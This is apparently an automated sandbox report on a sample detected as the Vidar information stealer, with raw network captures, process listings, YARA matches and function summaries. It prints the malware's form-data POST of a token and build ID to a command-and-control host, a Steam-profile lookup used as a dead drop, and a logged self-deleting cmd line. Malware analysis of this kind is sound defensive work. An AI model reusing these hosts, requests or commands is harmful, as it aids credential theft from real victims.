Oct 4, 2024 09:52:42.309298038 CEST	1236	IN	Data Raw: 77 66 81 f6 58 03 4e f7 e7 f7 eb eb 0e 66 23 fa 47 81 e7 d7 01 00 00 66 c1 e1 83 0f be c7 66 2b ff 66 81 e2 3b 02 c1 e6 d5 c1 eb 3b c1 c1 4f 81 ea fb 01 00 00 66 f7 e3 4f 74 05 66 0b c8 eb 06 81 e2 14 01 00 00 f7 e1 0f be c1 66 81 cb ac 01 66 c1 Data Ascii: wfXNf#Gff+f;;OfOtfff5jhBH&YYKffHffP+HfKffffffBfwffCffOf#P-fCf
Oct 4, 2024 09:52:42.309314013 CEST	776	IN	Data Raw: 1b 66 c1 e1 9b 0f be fb 81 cf 22 03 00 00 66 c1 de 65 66 c1 e8 9b 66 46 66 33 c7 4b 66 4f c1 d6 57 4f f7 e0 66 81 f2 b5 02 72 12 f7 c7 56 00 00 00 72 40 66 c1 c8 d7 66 c1 d0 e2 eb 1b 40 66 f7 e2 66 81 ee be 00 40 c1 c7 2d 66 f7 ea f7 e0 66 23 db Data Ascii: f"feffFf3KfOWOfrVr@ff@ff@-ff#T3fAfsHfJffHfKf@fwffr"/rSf@f#fzAf8f%f_fFfNf2f%ffftNwE
Oct 4, 2024 09:52:42.309329033 CEST	1236	IN	Data Raw: eb 13 53 ff 75 08 c6 45 0c 00 8b cf ff 75 0c 53 e8 53 06 00 00 5f 5b 5d c2 08 00 56 8b 74 24 08 6a 18 56 51 e8 2c 50 00 00 83 66 10 00 83 c4 0c c7 46 14 0f 00 00 00 c6 06 00 5e c2 04 00 8b 44 24 08 c1 e0 02 50 ff 74 24 08 e8 cd 06 00 00 59 59 c2 Data Ascii: SuEuSS_[]Vt$jVQ,PfF^D$Pt$YYt$t$t$OD$UQQVWjM=$HH}NMPu2t*uEPYYt%uV]%YP5$HM_^j$AF
Oct 4, 2024 09:52:42.309344053 CEST	1236	IN	Data Raw: 83 4d fc ff eb 4e 83 c3 ff 89 5d b8 8b 45 e8 83 d0 ff 89 45 e8 89 45 bc 8b 55 ec eb 95 a1 e0 16 48 00 8b 48 04 03 4d d8 8b 41 0c 6a 04 5e 0b c6 6a 01 33 d2 39 51 38 0f 45 f2 0b f0 56 e8 26 ec ff ff b8 e7 2f 40 00 c3 83 4d fc ff 33 ff 6a 04 5e 8b Data Ascii: MN]EEEUHHMAj^j39Q8EV&/@M3j^UHHMW39y8EqVM-EAUQVujHPQ}^]S\$U;wZjX;wSt$]UE+4VWQPS
Oct 4, 2024 09:52:42.309361935 CEST	1236	IN	Data Raw: f2 56 e8 8d e7 ff ff 8d 4d dc e8 c5 fd ff ff 8b c7 e8 38 3d 00 00 c2 04 00 cc cc cc cc cc 55 8b ec 51 51 8b 41 30 56 8b 48 04 89 4d fc 8b 01 ff 50 04 8d 45 f8 50 e8 ba 01 00 00 59 ff 75 08 8b c8 8b 10 ff 52 30 8d 4d f8 0f b7 f0 e8 2f e2 ff ff 66 Data Ascii: VM8=UQQA0VHMPEPYuR0M/f^j[Au=}eWMx}uj^beuHL983j^DUM9MPBj^j39J8EVL5@Mj^}UHj39A
Oct 4, 2024 09:52:42.314692974 CEST	1236	IN	Data Raw: e0 41 00 85 c0 74 1b 8b c3 eb 33 33 f6 46 56 ff 75 08 56 53 6a 09 ff 37 ff 15 0c e0 41 00 85 c0 75 a2 e8 62 7f 00 00 c7 00 2a 00 00 00 83 c8 ff eb 0c 8b 45 08 0f b6 ca 66 89 08 33 c0 40 5f 5e 5b c9 c3 55 8b ec 8a 4d 0c 84 c9 78 04 33 c0 5d c3 8a Data Ascii: At33FVuVSj7Aub*Ef3@_^[UMx3]$<uE3@]$<ujEX]$<uj]3W@BuV HVf.YHu^_UEVua}k HPA.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	57018	45.132.206.251	80	7032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 09:52:44.973681927 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: cowod.hopto.org Content-Length: 5777 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:44.973681927 CEST	5777	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------FIIDBKJJDGHDHJ

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	57016	104.102.49.254	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:52:44 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-04 07:52:45 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 04 Oct 2024 07:52:44 GMT Content-Length: 34832 Connection: close Set-Cookie: sessionid=f3480da2fdb3d1182bfb98f2; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-04 07:52:45 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-04 07:52:45 UTC	16384	IN	Data Raw: 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c Data Ascii: ript type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global
2024-10-04 07:52:45 UTC	3768	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e Data Ascii: div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { In
2024-10-04 07:52:45 UTC	166	IN	Data Raw: 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: n>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	57019	104.21.93.202	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 07:52:45 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: beearvagueo.site
2024-10-04 07:52:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-04 07:52:46 UTC	793	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 07:52:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fh5nfuojcdo4migl9ff4jdhmsh; expires=Tue, 28 Jan 2025 01:39:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uRz14dWf3qUP651n%2BqyZ7mr6HV7F4L85P6Un5oIZId9%2FnO0jeurAmBkBntwxKdR2Bc%2FxgBC6rtPCPkLpqC9srNd5vY1g3F7UK%2BAA%2Bt2OJTVtMQ6n8sgyL9z9wrsgHmfqXPxo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd398260c8419c3-EWR
2024-10-04 07:52:46 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-04 07:52:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:51:54
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5b0000
File size:	572'968 bytes
MD5 hash:	2AB4C1827EDD0F4DC810CF0F9B3BD30D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:51:54
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xda0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:51:55
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304
Imagebase:	0x2d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:52:42
Start date:	04/10/2024
Path:	C:\ProgramData\GCGHCBKFCF.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\GCGHCBKFCF.exe"
Imagebase:	0x300000
File size:	539'688 bytes
MD5 hash:	A16E47444D809D548BD0BA7C9869750A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:52:42
Start date:	04/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x530000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:52:42
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304
Imagebase:	0x2d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:53:15
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CAKFIJDHJEGI" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:53:15
Start date:	04/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:53:16
Start date:	04/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xa30000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.1%
Total number of Nodes:	76
Total number of Limit Nodes:	2

Executed Functions

Function 005B20AD Relevance: 7.8, APIs: 2, Strings: 2, Instructions: 761
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00638CD8,?,00000040,?), ref: 005B2963

Strings

', xrefs: 005B2943
N, xrefs: 005B28B1

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$N
API String ID: 544645111-2731476038
Opcode ID: dd115e56ab4f82d8e0b480f8c252ac4730abd4a8c6a490047a474146d97d1d54
Instruction ID: 6b0da9bccd60f0470ff81958851f69f7fecb1c3a6640aa46da2120d48d91a2d9
Opcode Fuzzy Hash: dd115e56ab4f82d8e0b480f8c252ac4730abd4a8c6a490047a474146d97d1d54
Instruction Fuzzy Hash: AA02DF2BA34E1B06E70C20398D533F2DD4EF7EA720F555337BA66DB6F5D25A08428294

Non-executed Functions

Function 005CA0A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,005CA3BE,00000002,00000000,?,?,?,005CA3BE,?,00000000), ref: 005CA139
GetLocaleInfoW.KERNEL32(?,20001004,005CA3BE,00000002,00000000,?,?,?,005CA3BE,?,00000000), ref: 005CA162
GetACP.KERNEL32(?,?,005CA3BE,?,00000000), ref: 005CA177

Strings

ACP, xrefs: 005CA0BE
OCP, xrefs: 005CA0F4

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: eec14edf0c03c21fb7189b3fd40d40716e45a5f8351a67e211fc342d78ce0579
Instruction ID: 22fdad73339dc4016ab2acabd5f8f2cf29808a54dd05ff89cd83a45d304214c9
Opcode Fuzzy Hash: eec14edf0c03c21fb7189b3fd40d40716e45a5f8351a67e211fc342d78ce0579
Instruction Fuzzy Hash: 7521A432600109AEDB358FA5CD09F977EA6BB50BA8F1A842CE90AD7210F732DD40D752

Function 005CA275 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005C173A: GetLastError.KERNEL32(?,00000000,005BE08F,?,?,?,?,00000003,005BB5D5,?,005BB544,00000000,00000016,005BB753), ref: 005C173E
Part of subcall function 005C173A: SetLastError.KERNEL32(00000000,00000016,005BB753,?,?,?,?,?,00000000), ref: 005C17E0

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 005CA381
IsValidCodePage.KERNEL32(00000000), ref: 005CA3CA
IsValidLocale.KERNEL32(?,00000001), ref: 005CA3D9
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 005CA421
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 005CA440

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 23fad1a633dd2740440849ef7f0f1c7a7965539bf40e4109091134112d459737
Instruction ID: c522d681ac155e0505ab460125a93ac8378bcfea197740e2a4db0d32c9f0e360
Opcode Fuzzy Hash: 23fad1a633dd2740440849ef7f0f1c7a7965539bf40e4109091134112d459737
Instruction Fuzzy Hash: 64516B71A0024AAFDB10DFE5CC59FAE7FB8BF44B04F04482DE900EB191E77099448BA2

Function 005C73FF Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 005C749A
FindNextFileW.KERNEL32(00000000,?), ref: 005C7515
FindClose.KERNEL32(00000000), ref: 005C7537
FindClose.KERNEL32(00000000), ref: 005C755A

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 376e0f3d5e0895e6ce014418a76c806c97b21d7ae7bf84fa385b1a26931baf9d
Instruction ID: f3679092fa4d6b77eae549d5081be20b7d4887a43c5d7836666ceb49cec35407
Opcode Fuzzy Hash: 376e0f3d5e0895e6ce014418a76c806c97b21d7ae7bf84fa385b1a26931baf9d
Instruction Fuzzy Hash: 9341A37190462DAFDF24DFA4DC8DFAABF78FB88314F144199E40593540E6309E849E64

Function 005B77B5 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 005B77C1
IsDebuggerPresent.KERNEL32 ref: 005B788D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005B78A6
UnhandledExceptionFilter.KERNEL32(?), ref: 005B78B0

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f65888f286499d1890cb8137a18a13968c56b0c37c3cfdca43f44dda4f0b9733
Instruction ID: 53ad3d20d3bed04156c7c11feed0c5a9c3bf8f1c4f3cc56e80788b12031801d3
Opcode Fuzzy Hash: f65888f286499d1890cb8137a18a13968c56b0c37c3cfdca43f44dda4f0b9733
Instruction Fuzzy Hash: 9331E775D0521D9ADB20DF64D98ABCDBBB8BF58300F1041AAE40CAB250EB709A84DF85

Function 005F14F5 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

x`C, xrefs: 005F1584
H_, xrefs: 005F1539
``C, xrefs: 005F156B
H_, xrefs: 005F15E0, 005F158C

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd
